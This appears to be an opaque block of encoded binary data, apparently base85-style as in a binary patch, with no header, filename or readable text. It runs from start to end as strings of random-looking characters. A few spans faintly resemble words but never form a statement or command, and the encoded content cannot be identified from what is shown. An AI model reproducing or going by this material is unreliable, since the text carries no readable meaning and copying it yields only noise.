z0??JIRU-k*yzF?ziBcMTea4x4_Fzgc+qve=Yw6hoW()cx8%(W=K>YNMItlU#VZfp~ z`oU%dVB1)MMvR9PEvwf8VaHw&lj`*Zg<+rP-uFclYKGEXsAf(3!iqZ9MJuARJu|;N zG?;=BLTKyWhjhK*x)P-J=wh#~$J)d1AZ+VeE4dW(6DH4GZ9oi&ptq$+7)mF&1yb(2 zDqMCAS=$$iZ}IvEyzoo(5upsxtUb4=+2Z#>1ON8ww#7#;T}w>_`|w%`G(BtZ0+Prv z$*1as<;e&$F4v+K-p$Y(B%y?O32Fp0P%jtK4pEmIfe<40&ID#PEarZ7H6h_8uIt5k zX%diw7txO8L-z@#(j$ptwm8R*K^}hAJ;w4cqoJFKC6(7Ebsks2rNZ1Yy;Tf02OXD2 zka2f8CX0w@*sziD6L2@0M824_KaZBi2$HC^537EhjCf7n6UiDCm1W+VjyID|WAw7L z=mAxix#4=@?P1ZA7*mhl2gufR*A&rv)WT6k^-|lLTTS`%oxN)PtDjxdzn7L4mhNf| zEw>+Tt-J#`o#AQTLb6)X^?|TyJG&j41u(#%Tq`QY&TTdu(!N>ps&Gj>$z=Zii?c0O zx9|#VCndjEv*)S{y(eU(R8onZ>>`TFSIkqwjT%)%h@E+n$HS6*!FH$R?F|PZgFyZg z&L(xEEL8$b1jSv;M)59x8_!yINms%e%xo|o6YO-;mcz%k1$;I5J>eV+V@tW%g5i0cq7d5oS&md>h4Q%t0znZs^gyk<6 zbUT#w9qs$EHaT@WQmvrsne)P?U>PFhiR_{aiU##qFv`R4QWYj=3cTe%F})@8MDREwKv&1zG{P2YwB98GcW7tpxyg$ zP?jbKy2@0@Y2W9(`jC2JZ`7Lpve=i8{Z8&){T8FmA= zt0VvT!X+BGag@iP(l{6w^C>3)mzXQ-uP^GvxYS2E$5`o3-C-f+IGWWk``{?Y7eaP} zJwnc^Tcr5XkQ805ltFK-StDJkxb~YmU?k6nD!#8RuL2m;EsMv}E<_y&Z(78#xMZ%Q zpHj5?H>*^m)8U!7^l%eH1fK<^&?nCqyh`~f+%F}JdXQvFs;&4kcEOM2{sH(m&YXMs zeAKM#Jr(|$n+6UQpVepguOoQ$PZyr<68gzo^DQxX_$r53SSaTpR-M_QlBGwLa-KSq zE#ToP0*a)(sLwFjw4Y57smvA6a@CH+EWO0Lb7L3Z;oWXw-SlS`WD@->!Je{$j1QsF zoof_|U6u9%Nj$|`)2hunGdV)c*<&D7nmN4(?}FDMDY+!lQhzJFpo2%!Qj|sjhOo@M z7R)J}4knX9czky0Fq|Hd8&Vd(OoYkvfDS7H9@Tt-4`8QAcYd!-`dP-k?={I`rq|!! zzNcC(Dv5tjyW1s>vNhL*FK_*!Gp+2@;DUGkQ?)e8{?S+0L!$JqXlsYOUnF;)`P>Kt zd*9_&8)>zjWw@z5_0bV_vG(;5v5fV|gFI%{Sak;0H>1{%E-)>+_K9<*-|6C>pBKCA zt8r1lsOOOF@)xxiX|DI}YSKIEao*Ajy7|~KpyYzIl=5B1W0^0@NE@xDScEv)g*e~P zR(kW@)@XjGcKr0z{t-++rh_^;<(_S2q)JK1?#m08MLJz~%)Z0=wKTcE`1p{sVnOb( z2UVTAC@DG~JU2DBXoJs7WSTD%yuJt;u)fgVlgsQwF2ftQtMd^xHy-u0TjTfaKm(H)}=}a7+ zzpzsB$IAS*M%4>(PoPvcG1W%DFIxDkJQifL`Nb z%6HwQM%OTCmGGTxRUVx+W-}2vel7Oiur6JKp^wDcVrP9GF#0`wt>?itr*dX*7OznA zbm1Gt!=|-PdTVuqArm1`lKxLoBU@KF!WmF`wTtKbgaO2%Nzg43*geY z7-{TPL=w{ZqLj*N(v;F>(_jIYDnewjt&;o&8~V{@ORsDJf&BFIqw9D#K*Od?<;#^4B~DJeUZrXHp|u-neqjqGaO{xGF3cn^A&%_lbafy zXG_-jX0{S{Jum>y-5aFP=&3 zGtC;iskN{6kJ)LX?vGeyjCw`89J(HqR1E7Um!g7_Laq_@t{=)BOIfw3q!@mB$Ngfx zLCkjO20i}JXz8FG@s6-bwoK^lc)xg_>?KsC%8&d2y!Ehg?nyN6kloAJ!)RuzfxA{FMc_IDGD4!VE;o#Y0h)JrN1Xdcj%7IIAebHyQVoJ5bAb9o7cTFzr0>I#ai6bNhxqPBE2;FNUExZ4|Y8 z_jO>Q9Ig#XpDSpuNjOzwJ$rdBD_G9U%S#MKciy?b9-J*DyQwSJQehj?Q}9BWP^^hU z?30Bzl3%;2$6rP||DA32Dqla?lVu3*KVm+6wL9OSk4`QdQZd#0)(gu$gkg6Y)SEAz z3hmwO^|~JLJU`{K*1fCiPiLbkNb>IR;M78o5LZd%mkT&nyTqj(awQKAjbDK% zQ)NPVFxs0gwg&Sf&z`86r0e?$Bn3!L_G+1l^rkvK%kP%j@l|oybLL@RZwcKWaMSm% zoermoms$gxfEKBn6WjH##?5{53zi$#9-f+SdUx^v>7jBHl9O=Uw-$KyFh^D_1kE-y zNG!@D0L+qzI#G#C3174N@b%3KkiLnAsXv=bohbOJ_#v#&L0dE|f)jySjWVk}DOwmT z#Jh?^z(8K`S*O6^)mz2nFb^==iEtNe6`-LZ+Q}tOftDLG7y)}t48FVpIm#Iw;KDw4 z>(G!`ohS^VEVd-H-MY|3;VlUbRxLp%`5qi;`52~VU2Ud;VV#h2Mxdyvve*VytI+{e z$+HEm%zNKabrlwE6Xd#Vm5ukk-Zi_GRqjoAz(wY#CdXOOA zjPEg_rBNhW0T``RGg*3u9nte*OlzQo`)qpCc$icsUGu=cT}idN(aVb^+`-xQ%p(Xh z_tK~PECRDEExp36QZyb#x7!x@-(58F7`1Y#{$U?FwXv)9CeMUTMDOu1qFKGN2mxVZ z>Y+LxQz)-z251f17b9efLGP@_^MQW15&2loKU3cUb!h9iODz|_!M$_YFl+Zhvj^_{ zPV?}-DVOY8ARa-xI|b>%mteB5s;hXRS1*p9-SYP_?R0WqZlU8l#7>T;seZYVqoqFX zP&M||HFTVxel0V#vL^d6_d@w|>;l;G{(srk+=K#2QlV8`U#8X9L>VY>lSoE;{Y7xq zAWJU17@*g}b7o@$b|B-p&w4Myo)yvQ{3RrUaAUBNBErmO7bxIRFc#!G(aFWyy}E&q zzmAfsFmf`QWq+j@5j*0jl%v8nv`!fA!c0{tO?l@+XuCjL`W5?r$mXxdsCa8+E?aVv|41oizQX&$I>A}C%J}`v(h*{Qa#_k(?9UT zFxaqve*~V2r}Wd?wS3wI(LWjo)b9lyG8pVqZw0>gFxq0>+bxb>k7GX76VqPNeD4dO zL21Iz`2q}j9Jng_soOqZ8p-?Ti765WCuY0)mgwJd%ZE9~WCx<6q8?Ob9lHre6O1a2 z;!H|adVl1fe@jOnB;%8W^{HI>o?1|JEGP0t)`i%u&vxEJ?Y8blk?ZIGI<$XF zTL1I20bR%s&ZvGI(fISNY~pY)jk(?6;^&WNCzed|ag_>keEH{L|K~*tL=z!MGTKP1 z>;AT~)H!i@!mycw+rnUH_P52evps)HMgI2fRW@``_SLnojRk-I|2TLD00dseI%I)# zA`DC*!$B^7JUo$q5^pA-`#)FpUtWcn3Jkvd^BUEWfp2i3Pb#i?0C=m=^73+lPxdeA zNG_;NYyG1J`286KYEmdQ4}_l9FVMQ!x%~UzU>{r7S$wb^idWarpy=xEo>E@}skab9 zpYlq3?BDvWQIfpLaG3Sv{ZsNDg3rkbyJe(#SKajNh00UkgM%EB81_ zSjxtv%hcbOo4V=8SGIzPkDv`0X!N}op6K+(Vp8>gFOos*=em%ce)Z4)(=>$|A%4e_ z1);B_bDBZLFGcG3XWRdE-?F@5i8vT{beH^X-P%Y6LW?K6mX=m)_P1vUJAqd}mV7z> z*IOY2y@?SdC7kKee|zdZl)u(3);M4e3><7AWZQ^Bo3!oA*37#5e_LsP`?eQ*oiC;A z9bf&q@R00;0AgIo&He^09}J%M0?;FjTQYime> zB#5Zf%&yz&f8N$V*M!Y5?9WG=lde-Ve=Z*DC&y^yh{C}CSQ-#_8R(5}H=R@4@EH2r zMg8qt1#$s|KEC|Tzpb$Ww&R3harB}*Ao@F>l$_k=`^wxVT59ln(x12D&y_iF2M(gj zbc^}Sznv}ACZ-?;5k#o84Zwpi5PbEswN&GOU8Z{01GvuUXY;jxTd?|x$7oPD1O}tB zFU(_V`Tuq`e|(EPd0GJRF^H_RF8^;I^Z%ply#uM<|3C1EGETPam25(G*(VfQyB%*tx_bm=dOW4oC*%eMj#l{B1 z7Sya@_s0Zl_e>si|My98^n{sMNf3wGZJpo8B4vnBfUzHTB0L1U3t>NB=_20uw)c$+ zvo_4s)QelHzYV}W!ggI`+;I>M0ERjW*V&hh{V2*8&+~pCkKdh=3@`r8wc1pF~c=lUclcmTn6xR2}c-1yfynxaff!iW;_zdype z?*&KY9jL>@O2h-z2JhuM`y}r>(AowyY_wOEx&+2#Qz0?!=)MbZ4XlG;84p>9dFwA%=|$JqY;sr2Y=Tg<)#9z_R92MpHFoyznkT;IS^7Dqa-wgY>M zDyYI|swUuKt}C{HsVBy|{r8Lc#|YITuU;Kt6yr?rS?zP}g8rUb zacl0?TsQGA8`G`y*lT29@^`P>=z906DN%LtPT&X%Zvqz@l-nq2-FRB*6fyXGubA~5fx{qL`@l3dbSY*}e(}Q%}5#~K+Cg&3uD0-rv#A@q|hpm5nYHlHIwDiZQAn}w)GnC0V64Q|tLoHe6?-K1>aEM(_Aoz55ow6C z^yWEs+Wa4&;C2RBwSc`tVQp}I{i6oQ5s1|cxz(q5T4rhabgaqEb4Jh&j34)Osyg;2*Er@_s52ilX*H`Go*AHl;_Sa*me5OjFLC}_A3Ns$_K zA&rd-0zZKS?U#9WdJGwYB&Ux~kfLb}hhgR)B*6FCBrCjD3Os-Ni+S+;@ZPRW{^={# z62y{maXA+OEp<*`nKV4PLt$`o4gOErY+bQs@Y6-8;7d@^7r>f6YV>ls=aT6WO2u`v z6Z~=4UY~%@cO|nodm2flL20nMp2A9J$@!_pv5JU%qi&9~GYj`jGY4@z*>vlUY=f2)a zDwOuX`DnvUk0J6T*g6Fp%ItjqK9>BO=ti0!VPtjo6dnI4Ou{M%YGVF%c<&Kna2geMVdCR9G9TaRP77ov&;$n-Xo)RDSlc7qt+LzO>kHA> zUZ)>I_kDm1n3VuckQ#+!`QlD5y^6_I3gt+vcpy4=R4UubBCa#BZT_mx5W&el)H zDMbM|B2m~>J}75}H0`|Io)9(v>d_nKpAYvOwiUL+*5(1WP`#9!98PffghtC|Gv9$_ z*l3rTbjRN8fdw=DB8mS=C7h^n!L{moVD{O5Nu({qWr>e-cVSytYSd*kP$T93IKzxe zr!h-b^s(S~9}Qv%ZxE$*Ot1V7hZ$Y(he*8R8)(Qvgp^&LILyE5RLt!TIZVOIC`6~9 zSYE0AeJkZY1sSA8g%G$;YS-a+RtH3(O5w&TW}j(WNp?ES>Y~gDb=llu&wN2+E;(yy}VZ)WPoPc#&mD}RctChCDRp;>hyhdVN`cf`wqXi z>t8$O@4d^P4U2z2iKL-el#|@p1Md1DhHJ77*6rfWtgdHmupTyFCLLQ1nHAvtu(ax! zTf)qw9y5dZ21|UD=(H`1Q^`e7NGKimN#eV%#!aH$sM8O{$x&xGhdq^cvK_>tGy{dv zry)_t&EG&U6j6M;ZW=qhqz`6$M7a$|ni}mhV3jPt$K#r3yNsMasxcgao0>4Cp$f3h zi;_9Ledmgro4oXupPGFKAI^9wlKdA8PF{uA`LIo%z<$YgKHq4zncRN}oh=U;K49?h znhJ7Ej{RdxB&Fs3mXkIq{j>8la>ReR*($Qc*WA3^z1&MACG*AXe!!CMiWdk8ij=O} z;)1N7LAuA}!)T>$T1J|0$q<$vJ#gkhGRKiQSTf=!$uTR2f1N6}_J1^rf5IHi9CL60 z>2pw<{x9t0Kl;KHWB(=;wwMdRIG^%wPqgZnI+c_fZc)!1CsBJZSQ;OIvr}~Li-p?= z<-NfTH3|S)7>+kXUnOcZ$*z$Cd-9tb6#NZHA(-1dSJHi<=%xTcFP(Cj=p3Ai{5c2E zo{Nq0JxZhkpUa9^(f9P6mW!I%b8i*7jyDm55f2W0aiW$sfs}J%e^g4O%-)v{V(vdm zdoSb`xSxh3XU6vhk_(-OJxH;7;uT<{m&n7;i$s^|;FzvasV#(YJ`M@LX$gDSm_Ne*Mq+mp??kc-(#3VYddFV+kX`6mvM6t_6?3;A3n2l z&!Mn8*wB$l<}O8yX1WH!cJR=`j&YHhaS5BLU`bew2}CCfw9SiteA;%at%V zG__MJv;8wPD24Gy67{3O9M{IRKJhZf=R_uXjy){0w+|EYIP}+QO`#@QH@~Q+riP$= zN{1lA-2fVBlKGmze?2XfcZl_#og@~YeVefYWiYAydY$(`W-IX{er9196rkzIUig$NS)#9 zQOXvsY!S?T*Qci}L5z+&yYdlknQ7e6i~b0K9pZC<_xBt^C&NZC52HDG4a&b&^A5SG zHieF%a|HuW?&AW_@9nO=ZPrW;v~>D=@??|1E+;q*S~HSI?&e}87$E=m!6y5P6X>u_ob2X_9-p&I6fix-lVCC^9>w3Q7&$5u`lSVSrJE%J*f#v|W)|OPvIL?ug3*8L&tZ; zNvz}qy+ZeF*(Wpp9XWclY-Xf?3X+?AmWnrbjsI)L;J*`kQ*i%*FRsVAz*?4I?EkJ& z$AI}?kA}aNU)EEka3-~(PJ02uGoeGJSwA8n!yk7rt|{_k35XlGV!O97l><=vjmsmU z7%*#Ws(ux|e_W?TMt5}tlIh4%TQ~znizX z0h+xam;)yqU$sj|$813-(~$q>Cv)!OYw*AezVTehNbA;*EISbOXES?)hY9=i!YP3h zdS7)H525$o3f2uMtbXA(yuy3E)#v$NqpPb)h;$Nr6cfXd6g;My8ck07aD=}%vj1#z z{QP*MI^BTFn99^A*X$vC>>*Aoz%ctFfmo1GocdXJsA?&RPU#Q8S>J$k6YDPRQoSgM zy}Mr38R?7q(OeZ+f}EC;x_EJ!MXXBf*_ME?;`KIA!Z_n(~IHDy5O=5?KcXkW>mToZ}kft(%4v3Dh2X4 zDfOnn4#Q4A6j6!fFBwiV_Cqhn6p&{(0Q_4lqx;kX^imAa?V+)0nL=NSljuGdEWcYm zOf(b$>IS2WaV;%D%qrX9w5@^p5>$EP-f+;m zveLv;F^1uJ(V7x;t~uZ0I8f;!BhdP?3EiXl{;d=?-kx%KKcrNW6?QK+_q4>8WCn2h zcflOrU{Z|NOa*$Fgwid{{5z?tNYOi*3cI0;%Kl^IR9}Vw{-}qrdCM>I)r1Dv?7<4S zhCB0Iv@>avMA|kSHkQvM70xL~P3ZLuOC}EFKsn6nRoyNreze;jiQ=49B6sd6MRfz!Ry?=YLYuF;+8 z^jA7}|E_cRnE*kY8ukaD1!|kKsAt(!ad)_rMax>^E7e~I+5fS(?7medQ_3K74jWaq zQWA86>A;s{oHZ+wP*UrX`(M-k%`fdHHc^QT1p-@ljbMM7Y0 zC?+N*ipJzl19_mvcI~$Mzs)dPFF<9l42gS0>??XgxRrx+18@kc^JCyOCF~30jK-|S zy)XV1z*KR)8?fuky$KREYuAB7`% zb{~155`W_Fe(m?M`g4@Uy5UE4xLcV1K41V}LZc!{j0PC|Jiy>D|Lxng*&{G`DfiFa zef{4jwUiexj=96-us~o6l-T#Qgy1~t+^+rW2XONMBC^)dYYYi5NhlVNYoeim_``|>da zSE}O1{_oG0K@ZPXvRhNR@7e6gAF;}vL>M6GbGV$d=+RnRo)sSdoy!07ziNd=0fCND zA|~3m!)2-eO&&0FC+q$G#QXkVelB2Ic-+MX_hIM$PiO$f27HnT`$QCub@?(2+jDHk zWd3!|>vEa`H&XK;;x8oiuLZKc2f&j?7&AQ>Fqoj#2cJltt`5b&4^J^TKm2nv#Hs;2h=#Y8qbw~1E|yn+&7jzs`Ze4zii(}4{G>w3?fte zIGblZ2D`Zp|@5 zf|^w$Uj6Z!+W$Ji{~os)5ujs++)rfvzFx)1L5CzFDk{Txik#Kq_P_Fpw$#YZ_s-m% zZ{M%7esTc);Wn~Zz(<7pX7i*dci-3l`!W9WFZo}9aO0RorQq)q#s4Tzt?nW{Jv|O= z-LT#LN4lZLW_~-PgAf5Hk;Hp6TvyhRqH=$xs*0Q+pFj-ag`;pMDl?EQy$QD)oGzt& zBZkzj0Wm=9%M;<$y|qnc_&jVE5VU$w`_is=rNaC&f2uA0FjV{p6vU5sMi4}-Kd;3r zgj39Sdwm`$nV@b#u*|n3%+r_rprt}o4D{YZ56Mc-_(Q-L5Aee^9dDX!A_3~H?r5#} zZCKkXk$vy0<*%fDJm)82F^HkYLp^0ek=3&-`YofU>X{qAu8BW_NqR%&SZX}Yc6;z* zf#`FGSBrq9%MZeDH;2NIqW9|Ut4>E<*@@#zYavSJXy*nZh`V-QJ_*!_Xrv#eI6X&o z-@5(I;jinL4M#wg6*}b(NEgCX2+4Uv9N#E(7h&ChaX^?myHB)EkRss-M)0c}!cYG+ zny#>r_k`b8kH?|Mb52yv*B6cikbf@kM|!zYP+(93@$hh|14h!{Cv9h(V~+&61=h$i zOsXEP*%~X++gO5r5DTdp!yQg{ zfcvv}@Q`#+X*7_w9$rJ--J#QDk_`U9{+yIYaI|7x0-WQUmCsii;7Yl%G&F_W@jO6c zDl)U(*J9sp^Z4@jgAlDAz~RSt^NnuL(4wkAgj#PIp>TA~1}L3}{z9q+C3+N~<3A1J zzp-1NrHNQi5a6viiiR$I9@`+v( zH|_M!F$6D5nenyn>!dl)ZT1!_*YwPB5v4Qc3W2J*_6VdS3r&y^aY5V~a1f97oJTw^ z$W27mzU5wIQMscy>=N^bxMFbL&2dAC))h%swAR^F<3Q9;sf9RyM zxMa-YzxDHt=q2K?4N?QKwiEuLbo}RLxzZXK>LgN`P>D=A`L8g<&PWSeaL{(Z`Hhp2 zO`=CVOd+;wQ0N8T(P8&;v5>B{~ex^PJL&+mA8wCdUtFAKJ;IimI6vfxdC*Id%}9Uc+z( zBTm!!*EweV1GQA~lB%5GNilVn6YQc^-UP9;Wlse#CT`dk^@_OaRAo|9-6IiHtZyke z55%(NN4tCnwK2o%m=Kr1G+PAYVXcXFFoPyGth*~2I1PCU4y}3aASK4|=MKSQYe-ug zY+(JxNE0IpL+Wa46=QSOXp);sH6@U%XrolsJ}{^JGwhB->y-$~I(U>Fe(0jVd8r-d zuq6vDd1j$R3gE0?zUcaah;64*3B`F{d9~9U8sVN0&>N7};|-1N(v8loz|lfUWS#B3 z3j4m=+hy-vmv0CP>A!}E<{)#dd1XCwfrzo=F8rR5ss7>J)z^iq{SM6xQ-fb%i4*qB z*e0N}$=D-E1s6sijGyB_b@wU~?&R+lF(5aUAYu69cu7=Zu*dbzOG#7J!44rykKD3h z5T{rTRFLCrU9mx`sjzKZ#^T+Bc?5Vdf1K^oB6_E5N2kFK2 z8@@pg97b6|LGmE8$vw%2X*1-Lr|I!;?=)rR15U%foBLvMaz(#CH(l;nAO?UZ0{-pK}W-t&+6xW?UmG6hQ$ zC^6!5fSuiPd%=Kq@dGryNN1uv-7WLWfH8+?hk~ML(bqm@Ndx!hFcyZjppju9py;>i zfE*RmEu}lWX&%nBmy*(w`f`F4Lyyu{IyrjyI6_pXch&}`Z=l4HZl5u|SU7BH3DDm# zAM&Y=iyCZF4G}ehf`auB2|Tt9q_CrW^Vt1qzhaQVe|+2BY4f}epNIWhL;#0@Z3R*Y z{Vej>ufKxu38Vn4G;o)g|_X z$gB7z2#Unl)m``z*hSTm#j#L@Q?fqxOLo9Cf^7#gUNC=HLQ(ICLVLrcogn0xmb*dE z&*M)Q&-u*_iiJyL<_4vSCUlTx2BnwNiKtl9nLw|Dm^b0y5E2AF_s4W>l>Brnp`mBVMBkXZ_xd6LxXOy2Do zMt-84^L&D=c>9w#JSH6uG?JOr!pD`*T9&)2nwqSY&>crks_|WXgdmyoZldDFeLF}Y%UN@Rph|LC%#@wVxy_JHo2wOwY?0Ls;dgSa z6^&HOeM?bOvX|u6UYWPdZM1CB7!=uU^ZUDHfQ6-ZWH8NG8mC|On94?)mHrY0iaM&b zmb4S)$PMd_`-H9?^R0?>3Z%|{(R|m5%=BiBMV;8xbI0Oy35g@_ITzwhFGu6zNHvz^ z4bJDyfvuv5bA-P#iS1Gz$_PN;s z((1!}dY#|=II1-KE)4MIyX*--7x>SF18%HQ4(Ly}aK#nXbXKh^t+ZK!j4kuD2p;YI zHshv^G{z)ab*A@w=3H&{b&|D!gybwwm_W4GGa_VdFV=XM@Q?3`#2lV~sS(_*}oHY2GxsL6k#!cRrUWpP~K?kpuumAB+eht+F}G#zKT{ z${flj!B7)g`KsDuP{&8kc?P-&saznu+=k|;-K=Or_G6=+$18&#y;ogjZ8B~ER9w`> z$))gFdqniKuq2mm{#|C3n*pX6Ii8Z&z>+oXaGl)*j-^fPlM@+UH+p?|Z};|z!K0TZ zlhtWC@fxOWqGqzU?F8Ndad&zGE6htJV~bDmbf$jv&E&TBjE# zGF>Zv9wRcbj?YZ16(U$FxggEE!o3_z^vQO6J&+>;kGRtYr=n!JmiSnTkL#X~);2DB zU8;BuVF>BhKy(#iyq%Xv3jOSOj2tt>4w@$RfQ;=Z{# z0#^EWshy$*T4blk!99ul<}QE00XYJ)yak0*aSZG%C=tTET-$PGk2*Y*GZNT#k|$}k zBn9tdn=vb?%OV7ngqMlbNL;DgaQ&uaUexn17FjwA6nxgt}w*q!~;VPmtMbcoumMlyqZ~yJDiPROeImxJ6h{Jb@aXLB4zg-w%=` z>3KZ%|4MbVvxl8Txtvur%N5d0DaO7&4 zUGl+o$|t}+KH)jhNz%Pc_1Y))ZzOa2F7|}SD42Q;b5%t-ZPe*@C}2aTd_q?knBx=e zpKX%_;GV6mzk1?iY=blV4lF!fLyw78-#wnz!gj~g1M9`VR2ZgKJuA*PGVggtw@su>!G{K2qZ#hx7!Uz@GCxjV((mwAb$Dw5f5R_5=} zx6*pPf$hP9r<3lM<(;yR8oFN615>(J6ErgE_~D@rVGIQUcn z4XeHNl<>|K=L)NB`KXM$1B*mCWZ2@&Y@H83rGCXOKMZUK$;LAuLBq9lrPjAGLhX_} zD$E&4erYr_I?;E#y)=e3_tf{!%D(a2+x5>WTi!T?UXuE+c!fVjxs~p0ovv?`!#;cp ztPOj#BX8_N>@MPighSCE_L9Ta;*C-&&1`RV%RbylRw6n}QXqClG)y#DpID+kHBfy$ z87;3f!Abahx^-f1Q%@|)i;?EJy%DD7Mb0sTct>tj14FloJiNHus4D7=R?2Xz*o7Lx zbY5lIhhj@W!L#RnbJb2)FANyzg62Mww@0oj>Ih%DE|`0vv2f!$hJD(JRo5HgX1S-O z^2X6NY~{L8v^XVwgDpy2dqTr_cXRyRv|kq0Cel~TL@rY!D$n$mCxFr{-S@C#tD-O$ zWYrJqhSX>gu@ZUz<(zA$MSlHgqaP`EVRsQ`k6u2(ME{@i(%8D(Wk z;?qSU2wI5KF9oqF`Y!P^X@S{Uo9`>mj|bCjX9cXCC%jxGqqiY#aItzOC$}E>GlpRu z2j&-Y1BaoUYagyb>XFrRfkOKCM^s*u|1yaX)DLp5q;cX^ zC+d>6)vY9Q;y-4cKkE|I;+joOcI<%47rrfrF*rb$T(!g|5oh^@kToWX7|~SF$?Xoh zrR6du#f#=45Z0jkFMd2LQF%<(do7+ixF_?}A-+E6obhxrtj7^itA=xZx`#*4 zvpv~OSn^8^lMeCsE87I6(gSp#+$W9q)4ui0-u3*eB%>wS5;MO4BIsRIX1=J?E8k4S&vJcL|a zLxWfwjp9x_X*mUS_9>?1fcEZ&+39?s;XMJ+Tr6db4hi_sf;5 zmxT588}S$>Nk0^CTEQ^QoUAdx+gYTzDC7hD2O8TFRF z?{$?{Y#FKd(nb|neJeEI*lo-?k>NU_8x?O$PHLsZo=oI${rGD^ZUorQu--*rQ?KS8 zxNBVSw~_{FnDN^HW=OxaoIJV@DU=L9keZ4xpSW)VwH9I}u7f_&#v~X9R5~Fu0sRFd zRY4-}tYZkdIVl)wbsty7YCy&09M2`dcm5d_qebjz5a4?%88EehJjCp5VL($*z3%HE zW-c*R<-AzIbJ=6ZOjBO@NE64WDwomlq1p81qGIZ`T18%)pj@oi!l+h2Wny4QvhFA= zz_M!(on!PiT#Cdfbbu22Tj9#@FI*X&@-6ENS4gqNil4QD8WDkmVNzPWg>*`c$D;2z z8Gg+a&O37iU!XT9^s(IPEC^I5jp!t9az@h4g8R z!Yi=8`o2?MIZJpyFpWf#o{TnA%)0E!i2-G;(O$$TU!!zVTuKL-+o=kxNd-HGl)fg*6S7@^9o1fL4`%mp_0wt5`Fov@+($!4P^B&$~D8 zkA;4_7Q@LLZA$8P1BB5P_H`aV3XIIP0Y1rAguW&^$ESEON!J4)jhd$@sb*k1AbDtlngUdRw+I#4?9SfP_=Vf~J>;+OTeO1i#s&*P8 zECt+T?TK&LJvkrNsZ&$(A}dmu@yz6DAggW_c_!~hFNGGKG6>6dPB1?8ORrHkLt+nZ zre#H7C#90_=k=c$c>6peHCE?hgJ%n~<=h?U;^43D~*1@~hI_r-K2zdGt$3X7j&9@-Ll<1J<#;VHQmX&!`r~WzG z`09O}Kw;bB#?&u3C}yJ}O4wl~ zDy~4Sdodiz*IC}aACrZuEVziW@&3{i!#St+%HGdHL0cOMjk?3xRtNnJh|#YIs!I}H zx9i{QeCwUW!&(EdHKus|11z9e| z=p%zm4Y^QcO1(K-m3-u)O@Tv_FdfS3RL}PGuZ>4f)oha5{|mRiZtFo0-S7kU_J?tlpEA^OruE(4Sm$+?>I z8RCPIOZaEWBjj}jS|=)wUz&h62!?XX$UHm}PbQQ{^>%)86{L;i-dr7x#n1pZi%~|? z=}$;y6aWhEkFzGVpbC5?0O+Lv(HYN&nkIqA>`<>eDzvQBnEi9pV~hod-hv{a0l2+! zpMVrh;|?5MW6w!@55L6R$MxYxvneV7FK_-~WptxnFtBV!Upy)rAEE1X6SVyiy-IbL z>)ixoX-(fNY4b)3aupL`9;Vk@+b<6Q&Sbg{YNGMu_1aaY*I5j{Ujwy`QDXd7Ag`P$ z$rAcSEe!&AbPkUN_zo z>y_Gi&fIfYJiSekt75w)KQIz;gm^kr<#4Bb2602V>=c9fN4VceKrv%4ZOqFa*|lys zRm+NIm7S$p2Tmu#;If=f)~62qNC}wXmliIEx+U7bPOvPS6sdKYL$!8nG4wJ;D{jcQ zEliO2&Ut)D%FvZqa_i7{O?G%(;{l>@|JkH6a11q#ej5kmtc&ubQFv!p6`$KK{`EChf%z9oh!Ah)TG$S8JLfAu$&VC=A z6Ls-ps2EE_`Pz>G8N(yv698L^#*#kKs|y_+1OL+x*+Ge(0>%^1Mh=;B(w@Lg97e~f zTS?XAO_Dof3w6-7?6%eW=4is8dWUR?#R{+h31{^Q_0`%QlTv zhX&LRgp6JyeR+}iX%khqzYmq3+%H?Qym1Ladb zo$%Z*KnYlU7kF8avm~Wp%Fn1t?4W8CIOqBH6sW)5RP^AYcd_f1j+U}ZGULbv@#}vD!%G}Gw)gNzMM#+z8%MmHw_^xht3oT`Y^79_We@6yN|-5EU~%KVdZVjq8OGp(6Nug( z(Z@^&>j|xvS$}nyZIpVV>h0Le>efbme~&2C)N?ebJbR-Kk5PNVmmQ@kn>3&Ia)V5F zA%28shbYWVmUzmm%}wZK3C(Rw%UwVbCnp6!a;##m+L(QlZ}fudqzy>Rc{q|m1Lq2MWAhbi{A_Doi0di@Rj5-@Dz{g zB5N^W-1swmuuQm#*Ui{4n1F|CgSL@MT$9AdO;?NB)s&L z9hsWGTC`xqMp#ZdMl^kbGB&Bqf7f5xEJrf_ZTQ@{BZqFD8UNP(1(=a64GxZ!qoO%J zHVrY38do=SOTGe)Zw>`TMalreU%IAP983Cg1WJQ;#fBf?=AiG4rt{R2zzApyB+>X2P zG`ZNP(>rV`i=WCn)~mD|x3`<7oO6EM9CBq(SLdkP=(q_c2A%kXHxq91JMCyng(&j- zi^q4^lQXj?&x=XD?V&?WC?s+O;eRoq+IyFZ{&5P5Xdy@AsidD_|M){-A(a=1)`!A> zRYLy~Ei?jkxo1tj9WS}=bVLe;N`8N!{ufq3_KT&tP)>*+xtgb)X3SJ~N-$FI>-!94 zH`0yIp+KLX8zCq6Foa04zcOKPvE#i)iimkgEG*1EwyHczE^5? zLgJ9mI2O7F(Znkv`bY=+gf(G}+NfHEf@swR zDUsQwfAX?o4q(quERA@3_aFQq(&Ok>A85Qvf?ZVL7{1GbdO6f;^Pg7vJt>tKPupVc zLCSY~o&ha5l%114h$Tts$W9%-@k6TMp4ASdnooL9B5)h@#KvjW@m{%h_62dTZSwbLh5!O2#<=NsbZ9>|#A%8s+QNO?ZL=P2 z+lon=zW)Jf5Y>hWjvgI4K4ZN9{r&!A)=%JV#u3fh?|XLRKrocUWt)dVT}B<;o%s8|+V?Y! zYv6~(_&xfH-X|>DBo&L=27Zqa{UJ6wnwTBZ6MSP3E9kx_|K~^iSvV?KNc&^|fl4D& z%=Xs*)V$%XZ_|A>`~8>xKDuT{Vd9($WplZG>G!`#xj;ySZf$Kv$DX(fukX}Hxqpp> zNm14Z>%9}1hpGO)pHo5d2m%yjqN?iflQ%yNUikN?0S(?Mat`m?`xJI5>i@$sUvROF zY2P^S`xuXb&GPBu*4RIX59SKb36OKab(JVc76L)vLk?k?eIX71S+akB5l*7}xFq6z zKZT6$C?`n^{GdC_B#2-cl3$7~Y|RBT_i0M^sX?MbU@qv%(KrYH{*sji$o^Ek8HXHh zcG|}-?3-Q?Ltsdb^@UU195NuNEf68ULtatSBmN72%nA}jh*S=>5MqL_r_mC==>GU2 zEgu$y`Z9CiNmesmYcm=JL()-RfMpCXTSYUX;+P6XPyIQ|QzVH&76@)=9Ne=CjcMBoU+4R3UkCp>BcMAb205_kMkSnIc9x3}5* zwjLpQkrV>N%O&;;q6Q1&As9IrF26i^0X)3}NC=Mgvu08ldgW}g^C0RLE`EOu*(Cok 